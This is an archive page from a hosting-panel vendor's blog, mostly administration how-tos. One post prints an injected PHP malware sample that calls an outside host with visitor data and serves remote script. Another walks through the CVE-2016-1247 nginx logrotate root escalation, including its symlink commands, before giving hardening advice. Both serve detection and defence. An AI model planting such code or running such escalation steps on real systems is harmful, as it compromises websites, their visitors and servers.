Blog

Archive for Core-Admin

How to activate ssh access for a hosting with Core-Admin

[extoc]

Introduction to activate ssh access for a hosting with Core-Admin

By default, all hostings created with Core-Admin will have an individual user to ensure each hosting runs with isolated permissions.
This hosting user has no way to access through ssh, even it if opened ssh port and a password is configured.

This article, explain how to enable or disable ssh access for a given hosting using Core-Admin.

Prerequisites

Be sure you have a firewall controlling SSH port (usually 22/tcp) to avoid leaving it open for everyone. It should be limited.
If you don’t have a firewall installed, use #Firewall manager. See the following manual to know how to configure it.

How to activate ssh access to a hosting for Core-Admin

Use the following steps. You will need Administrator rights to complete these steps.
First, open #WebHostingManagement application like this:

Selección_347

Then, open available option to manage SSH access:

Selección_348

After that, select the right hosting to configure and if you want to enable or disable SSH access like this:

Selección_349

Once the process is completed, the system will present you a set of configuration notes ready to use:

Selección_350

How to disable SSH access for particular hosting with Core-Admin

In the case you want to disable SSH access, just follow same steps as described before but selecting “disable” inside “Ssh access”.

How to list hostings with SSH access with Core-Admin

Use available option located at the top level tree:

Selección_351

Posted in: #WebhostingManagement, Administration, Core-Admin, Core-Admin Web Edition, SSH, Web hosting

Leave a Comment (0) →

Fixing Dovecot panic mail-index-sync-keywords.c, broken dovecot indexes

Keyword index

  • Dovecot broken indexes
  • Panic: file mail-index-sync-keywords.c:
  • dovecot_mailbox_broken_indexes

Introduction

If you have problems while accessing to a mailbox and after reviewing logs you find something like:

Jul  4 10:44:22 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:44:31 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:45:04 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:45:23 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:45:34 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:46:40 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))
Jul  4 10:48:45 claudia dovecot: imap(someuser@core-admin.com): Panic: file mail-index-sync-keywords.c: line 227 (keywords_update_records): assertion failed: (data_offset >= sizeof(struct mail_index_record))

Then, one or more dovecot index and/or cache files are broken. This happens due to moving a mailbox from different dovecot versions. It can also happens with
outdated dovecot servers.

Resolution

Core-Admin will detect these errors automatically and will report a: dovecot_mailbox_broken_indexes

Click on it and then click on “Reset dovecot indexes”.

That will clear all dovecot indexes at the destination machine, for the failing mailbox.

If you want to fix it manually, locate mailbox associated to the user and run the following command
(update it accordingly to the user mailbox failing):

>> find /var/spool/dovecot/mail/core-admin.com/someuser  -name 'dovecot*' -type f -delete" 

After that, you should have fixed the problem. No dovecot restart required.

Posted in: Core-Admin, Dovecot

Leave a Comment (0) →

How Debian fixed CVE-2016-1247, NGINX log root escalation

Introduction

This article explores CVE-2016-1247 exploit, how it was fixed by Debian and what leasons we can extract from it to even go further to protect/secure your systems.

This article also applies to CVE-2016-6664-5617, MySQL root escalation, though it is not a Debian especific issue, it is the same concept failure at the mysql wrapper that allowed the PoC author (Dawid Golunski) to create a working exploit.

How Dawid Golunski’s PoC works (CVE-2016-1247 background)

Recently Dawid Golunski (https://legalhackers.com/advisories/Nginx-Exploit-Deb-Root-PrivEsc-CVE-2016-1247.html) reported a working PoC that successfully escales from www-data (default nginx user) to full root account power. Fiu!

Taking a closer look into the bug, reducing the steps taken by Dawid to break the system and skipping some details for brevity, these are the following:

  1. First, it starts with the assumption (not very hard to achieve) that you already own/control www-data account by controlling a .php file, similar cgi, or just the wordpress administration account to that web, or a similar mechanism, so you can upload files to run arbitrary commands.
  2. From there, Dawid discovered that log rotation made by logrotate setups the following permissions every day it rotates:
         /var/log/nginx/*.log
         create 0640 www-data adm

    That is, logrotate will rotate and “create” (that’s the point) an empty file with www-data:adm permissions. It looks harmless. This is the devil in the detail.

  3. From there, the rest is history: Dawid’s PoC removes /var/log/nginx/error.log and creates a link to /etc/ld.so.preload:
        rm /var/log/nginx/error.log
        ln -s /etc/ld.so.preload /var/log/nginx/error.log

    NOTE: for those wondering, “what the heck is that file for?”

    Basically that file allows to configure “libraries” to “preload” before any other library before launching the binary.

    In essence, it is a mechanism that allows “intercepting” symbols/functions to replace its code by yours. It can be used as a mechanism “for external fix” without binary modification, but, as many mechanisms, it can be used for evil.

    For more information, see: http://man7.org/linux/man-pages/man8/ld.so.8.html

  4. Once Dawid’s PoC do that link, it only has to wait for the next day for log roration to happen and let the system itself “open the door for you” by “setting www-data:adm” to /etc/ld.so.preload.
    NOTE: here is when you can play “Carmina Buruana” in the background
  5. From there, Dawid’s PoC creates a small library that is attached to any binary loaded by your system, including code to detect “when it runs as root”….and when it does, “bang!” it creates a shell copy with setuid for you to escale without password.

But, hey, you started saying “how Debian fixed” this problem?

Right, we wanted to go through how PoC works to better understand fix introduced and what we can learn from it.

Going back to the solution, if we take a look at Debian’s changelog for this, what they have done is to “secure” permissions for that log to be owned by “root:adm” rather than “www-data:adm”:

https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=842295

    +  * debian/nginx-common.postinst:
    +    + CVE-2016-1247: Secure log file handling (owner & permissions)
    +      against privilege escalation attacks. /var/log/nginx is now owned
    +      by root:adm. Thanks ro Dawid Golunski for the report.
    +      Changing /var/log/nginx permissions effectively reopens #701112,
    +      since log files can be world-readable. This is a trade-off until
    +      a better log opening solution is implemented upstream (trac:376).
    +      (Closes: #842295)

Certainly, having “/var/log/nginx” be owned by root:adm makes impossible for www-data to remove /var/log/nginx/error.log and then trick “logrotate” to create a /etc/ld.so.preload owned by www-data (which is crux).

However, are there more leassons we can learn to better secure the system against this kind of log rotate escalation? Keep on reading.

How services should handle logs (advices for developers and system administrators)

One of the problems that this nginx service setup has is that it does not separate log handling from log production. By making nginx service to handle log directly, instead of using syslog, it creates a permission problem that cannot be easily solved/secured.

If you separate log handling (so syslog handles all logs produced by nginx), you can secure all logs (owned and accessible by root:adm), rotate them, etc, without worrying about the user/users (hopefully low permission users) can do. They can only attack files owned by that user (hopefully only web files) which are not rotated.

See https://nginx.org/en/docs/syslog.html (to start using syslog for your nginx setup)

Service should never own log
So a general conclusion we can derive from this is: never let a log be owned by the service producing it, otherwise, it can be used to escale using exactly the same mechanism as Dawid’s PoC did.

As an example, the following is wrong:

   service-user:adm   640        # bad/weak configuration

…and a good definition is:

  root:adm  640   # This is the good/recommended configuration because it prevents user
                  # deleting this log and creating a link to sensitive files.

But wait, what do I do with clamav, roundcube, mysql, dovecot (to name some)?

Some services comes with a default “package setup” that do not allow changing this log user to “root” because these services need to be able to open and write to these logs.

In any case, all these services CAN be configured to use syslog and you should consider configuring your system to do so.

In fact, Dawid Golunski also discovered “exactly” the same type of failure in MySQL packages, where a log escalation to root is possible (https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html ).

Default log configuration might not be good
This article tries to raise awareness about default log configuration. Linux distributions provides you a default configuration but you have to carefully review how log is handled, rotated and owned.

First conclusión: always use log service separation (if security is important for you)

That’s why it is very important to concentrate log reporting/handling to syslog so you can separate service from log handling (which solves all these problems).

Again, if you make your system service to run with a low level permission user (i.e.: mysql, www-data, clamav,..), and log reporting is handled and written by a separate daemon service (rsyslog, for example), you can safely create “lograte” configurations that are “always” safe and do not depend on “wrapper script failures” or “packiging problems” that might end up making very controversial decisions (more about this later).

Second conclusion: why wait for the problem to happen

Because this is life and you cannot control how packaging is done, how supervision wrappers are written, etc, you can block these kind of attacks by doing:

   touch /etc/ld.so.preload
   chown root:root /etc/ld.so.preload # you might be already hacked
   chmod 644 /etc/ld.so.preload       # i hope not, 
   chattr +i /etc/ld.so.preload

This way you make sure file exists and cannot be updated (even for the root! unless the attacker already owns root to remove the +i flag).

With this setting you completely disable Dawid’s PoC and make it more dificult to allow log rotate escalation techniques.

Third conclusion: logrotate must be constantly checked

The “logrotate” service is part of the scheme to attack the system by creating “weak” configurations that “rotates” using low privilege users like following (Debian example):

  /etc/logrotate.d/mysql-server:	create 640 mysql adm

As shown in https://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html, this configuration can be exploited (log escalation from mysql user). The best thing to do is to make MySQL service to use syslog to handle all log reporting and update that file to make log owner system to be:

   /etc/logrotate.d/mysql-server:	create 640 root adm

Knowing this, you can use the following command to review those logrotate configurations that are possible breaches in your system:

   find /etc/logrotate.d /etc/logrotate.conf -type f -exec grep -H create {} \; | grep -v "create 640 root adm"

Fourth conclusion: you cannot escape from this

You might be thinking “well, this is something internal..” or “I can handle it”. Maybe. In any case, let’s take a closer look into what “really” did Debian to fix this issue by looking at the changelog:

  nginx-common (1.6.2-5+deb8u3) jessie-security; urgency=high

  In order to secure nginx against privilege escalation attacks, we are
  changing the way log file owners & permissions are handled so that www-data
  is not allowed to symlink a logfile. /var/log/nginx is now owned by root:adm
  and its permissions are changed to 0755. The package checks for such symlinks
  on existing installations and informs the admin using debconf.

  That unfortunately may come at a cost in terms of privacy. /var/log/nginx is
  now world-readable, and nginx hardcodes permissions of non-existing logs to
  0644. On systems running logrotate log files are private after the first
  logrotate run, since the new log files are created with 0640 permissions.

   -- Christos Trochalakis   Tue, 04 Oct 2016 15:20:33+0300

That is, Debian has taken the path of limiting link creation but, at the cost of allowing all users accessing that directory. In fact, during package upgrade/installation they attempt to detect possible hacking links by reporting to the user:

  Template: nginx/log-symlinks
  Type: note
  _Description: Possible insecure nginx log files
    The following log files under /var/log/nginx directory are symlinks
    owned by www-data:
   .
   ${logfiles}
   .
   Since nginx 1.4.4-4 /var/log/nginx was owned by www-data. As a result
   www-data could symlink log files to sensitive locations, which in turn
   could lead to privilege escalation attacks. Although /var/log/nginx
   permissions are now fixed it is possible that such insecure links
   already exist. So, please make sure to check the above locations.

As you can see, “Yes”, the security update allows all system users to be able to access these logs and “Yes”, the security update do not fixes hackings in place, you have to review them any way.

This might (and it is) interesting but, for the scope of this article, as you can see, if you don’t fix your system setup to “separate log handling from log production” you will have to live with very bad decisions that otherwise can be easily solved (and are not Debian’s responsability, by the way).

How Core-Admin handles and mitigates CVE-2016-1247 and CVE-2016-6664-5617

With all these details explained, Core-Admin does two things to mitigate this kind of “root log escalation” attacks:

  1. Renamed process checker ensures, automatically, that /etc/ld.so.preload file is protected. It also reports any change to that file.
  2. It has a “log” checker that ensures logrotate configurations are working and has known (or at least accepted) ownership declarations that are secure, reporting any insecure configuration that might lead to problems.

Posted in: Core-Admin, Debian, LogRotate, Security

Leave a Comment (0) →

Configuring Let’s encrypt for Core-Admin panel’s certificate

Configuring Let’s encrypt for Core-Admin panel’s certificate

The following short guide will give you tips on how to configure let’s encrypt certificate for your Core-Admin web administration panel. That is, the certificate used by the panel to secure all comunication between your web browser and the Core-Admin server.

These indications depends on the current status of your Core-Admin installation and your preference about doing it from console or using the web panel.

Having a working Core-Admin server: upgrade to let’s encrypt certificate

If you have a working Core-Admin with web access, you can install “Let’s encrypt Management” application and then use the specific option to request and configure a Let’s encrypt certificate for your local server. Here is how:

After you have installed the tool (or if you already have it), open the tool, and follow these steps:

Let's encrypt management -> Actions -> Certificate for Core-Admin server  (follow instructions from there)

Having a working Core-Admin server with let’s encrypt already deployed: console command

In the case you are already using Core-Admin with let’s encrypt tool, you can use the following command to request, install and reconfigure your core-admin server with a let’s encrypt certificate:

>> crad-lets-encrypt.pyc -s <your-contact-email>

Configuring let’s encrypt certificate just after finishing Core-Admin installation using core-admin-installer.py

In the case you have just installed core-admin, you can use the following command to install Let’s encrypt application, Certificate manager and request the certificate for your core-admin server:

>> cd /root
>> wget http://www.core-admin.com/downloads/core-admin-installer.py
>> chmod +x core-admin-installer.py
>> ./core-admin-installer.py --core-admin-le-cert=<your-contact-email>

The difference between this command and crad-lets-encrypt.pyc is that the later is only available when you already have Let’s encrypt management tool installed. Otherwise crad-lets-encrypt.pyc will not be available.

Posted in: Administration, Certificates, Core-Admin, Let's Encrypt, Security, SSL/TLS

Leave a Comment (0) →

Updating notification time for mailbox quota exceeded

Inside Core-Admin, with the Mail admin app, you configure a notification that is sent when mailboxes are overquota (admin notification) but also you can make the system to send a quota notification to the end user directly.

For that, open Mail Admin app and go to the quota notification options as shown in the following video:

However, in the case you want to change when are those quota notified and the frequency, you will have to:

  1. Update cron specification locateYOUTUBE URLd at the following file /etc/cron.d/crad-mail-quotas to adjust it to your needs. Remenber to just update those lines running the following command: “crad-mail-admin-mgr.pyc -k -f”
  2. To avoid having the file updated by the system due to a package upgrade, add immutable flag with the following command:
    chattr +i /etc/cron/crad-mail-quotas

 

Posted in: Administrador de Correo, Administration, Core-Admin, Mail Admin

Leave a Comment (0) →

Managing max POST size for a given web site — php post_max_size — php upload_max_filesize

Configuring max POST size  (post_max_size and upload_max_filesize)

Core-Admin starting from revision 5110, supports configuring easily the max POST size you can do to a given web size, known also as php settings “post_max_size” and el “upload_max_filesize”.

For that, get inside your Core-Admin panel as admin user, select a particular web site you want to update, and then click to “Site options”

Core-Admin Webhosting management site option view

If the option is not configured, it will be shown as “not configured”. Now, you only have to select it by clicking over it, then setup the required value (in megabytes MB) and then click on “Edit option”. With that you are done.

Posted in: Apache2, Core-Admin, Core-Admin Web Edition, PHP

Leave a Comment (0) →

Configuring default web site to show when accessing with unknown addresses

In the case you want to show a default web page with a customized “unknown webpage” when accesing to your server with an unknown web page that is not supported or maybe it is supported by in a different address (like accessing with https:// on a web page that is only supported on http://), then, you can do it by following next steps:

1. First, access to the Webhosting management and click on “Options”, then click on “Configure server”:

options-configure

2. After that, click on “Configure default site” and inside, setup the content and save it:

place-content-and-save

Posted in: Core-Admin, Core-Admin Web Edition, Web hosting

Leave a Comment (0) →

Using Core-Admin to resolve php+# web hacking

After a revision you find out that several web pages have been updated with code like follow or maybe a customer whose web is being blocked by the web browser is calling you because it is including suspicous code like:

<?php
#41f893#
error_reporting(0); ini_set('display_errors',0); $wp_wefl08872 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_wefl08872) &amp;&amp; !preg_match ('/bot/i', $wp_wefl08872))){
$wp_wefl0908872="http://"."http"."href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&amp;referer=".urlencode($_SERVER['HTTP_HOST'])."&amp;ua=".urlencode($wp_wefl08872);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_wefl0908872);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_08872wefl = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_08872wefl,1,3) === 'scr' ){ echo $wp_08872wefl; }
#/41f893#
?>

These attacks do not pose any harm to the server if it is properly configured, but makes affected webpages to execute remote chatting code o ads that will make google chrome and many other browsers to block those pages because running that suspicious code.

Understanding these attacks

The problem about these attacks is that they update original files by including a “chirurgical” modifications making it difficult and annoying to get back to original state.

One option is to have a backup, but with the newer webs which use different shorts of caches and php-to-string files, makes it hard to recover. It is not possible to just recover those files by just replacing. You must get back to a consistent state (for example the last backup). This implies removing current web files and recover from backup files (so backup files don’t get mixed with current files that weren’t including at the backup).

After this, you must remember resetting/blocking all FTP accounts/password that were used during the attack.

First line of defense: know when happens the attack

Core-Admin provides you these knoledge as the attack happens. After the modification, Core-Admin’s file system watching service will report “possible php hash attack found” with an indication like follows:

Core-Admin: detecting php hash attack

After receiving this notification, you only have to run the following comand to find out the amount of files that were modified and the amount of FTP accounts that were compromised. The same command will help you through out the process of recovering infected files and updating ftp accounts’ password.

>> crad-find-and-fix-phphash-attack.pyc

After running above command, which only reports, you can now execute the same command with the following options to fix found files and to update FTP accounts:

>> crad-find-and-fix-phphash-attack.pyc --clean --change-ftp-accounts

How did this attack happen?

This attack is connected with a network of servers that are in charge of applying these modifications along with a virus/malware software that infects machines that use known FTP clients. Here is how the attack develops:

  1. By using known FTP clients that save passwords at known places at the file system, the first part of the attack is established..
  2. It is suspected that using public Wifis and insecure networks while creating FTP session may be part of the problem too.
  3. After this, your machines get exposed to the virus/malware software that extracts stored FTP accounts by sending it to the servers that will perform the FTP attack.
  4. With this information, modification servers (that’s how we call them) that finally attack by using those FTP accounts, downloading original files, updating them and then uploading them back to its original place.

Important notes about the attack

It is important to understand that modification servers do not carry out the attack just after receiving compromised FTP passwords. They will wait to have several passwords to the same system and also they will delay the attack to disconnect both incidents (the web hack and the infection at your computers).

This way, they hope unaware users to not connect both incidents which otherwise will trigger a anti-virus scan by the user to stop information leaking.

In the other hand, they also wait to have several accounts to carry out a massive attack looking for confusion and/or magnitude to increase likehood that part of the infection will survive.

How can I prevent it?

There are several actions you can take to avoid these attacks:

  1. Try to not save FTP accounts in your FTP client. Try to save them into an application that stores those passwords protected by a password..
  2. Avoid using public Wifis and untrusted shared connections (like hotels) to connect to your FTP servers.
  3. If it is possible, after doing FTP modifications, enable read-only mode or disable the FTP account using Core-Admin panel. This way, even though the password is compromised, no modification will be possible..

Posted in: Core-Admin, Core-Admin Web Edition, PHP, Security

Leave a Comment (0) →

Automatic and integrated (DNS RBL) blacklist detection for Core-Admin

Do you ever wanted to know automatically when your servers get blacklisted (DNS RBL)?

For next Core-Admin release we have included a handy checker (rbl_check_checker) that allows to check against more than 100 known DNS rbl blacklists if any of your server IPs is blacklisted. And, if any server is listed, the checker tells you where to go to get more information to proceed to unblock them.

The checker also detects local lan IPs and in that case, it uses automatically a remote service to guess which public IP is running your server. Now, with this information the checker is able to also check for blacklisting those local/lan servers.

The checker integrates automatically into your Core-Admin and will give you fresh information for all your servers connected to the panel. See in action:

Improving your server IP reputation for mail deliveries

By having rbl-check checker running in your servers you can improve hugely your servers IP reputation because you can get instant information about any blacklisting for any running IP as it happens.

A prompt response is key to solve IP reputation problems. The faster you solve them, the less your mail services get affected. With that information you can react promptly taking required measures and to request IP blacklist removal.

Posted in: Blacklist, Core-Admin, Security

Leave a Comment (0) →

ANN: Core-Admin 1.0.32-3207 ready for download!

A new Core-Admin stable release is available with lots of features and corrections. Here is a brief description:

  1. NEW PLATFORMS: supported, Ubuntu Precise Pangolin LTS 12.04.3 andDebian Wheezy 7.0. See all our supported platforms here:
    http://www.core-admin.com/portal/get-it/supported-platforms
  2. IMPROVEMENTS: Dojo 1.6.2 is now default engine for web-client. Applied several updates to improve interface experience. Now installer is available in english and spanish. Now app installers are able to show a progress window with task completion (fully programmable and available to developers creating core-admin applications), and many more, see change-log.
  3. DEVELOPMENT: released core-admin app-builder to allow creating checkers and new applications on top of Core-Admin.
  4. GENERAL+SECURITY: many fixes and security updates were applied to this release. See log for more details.

See all details at the release note.

Posted in: Core-Admin, Releases

Leave a Comment (0) →
Page 1 of 2 12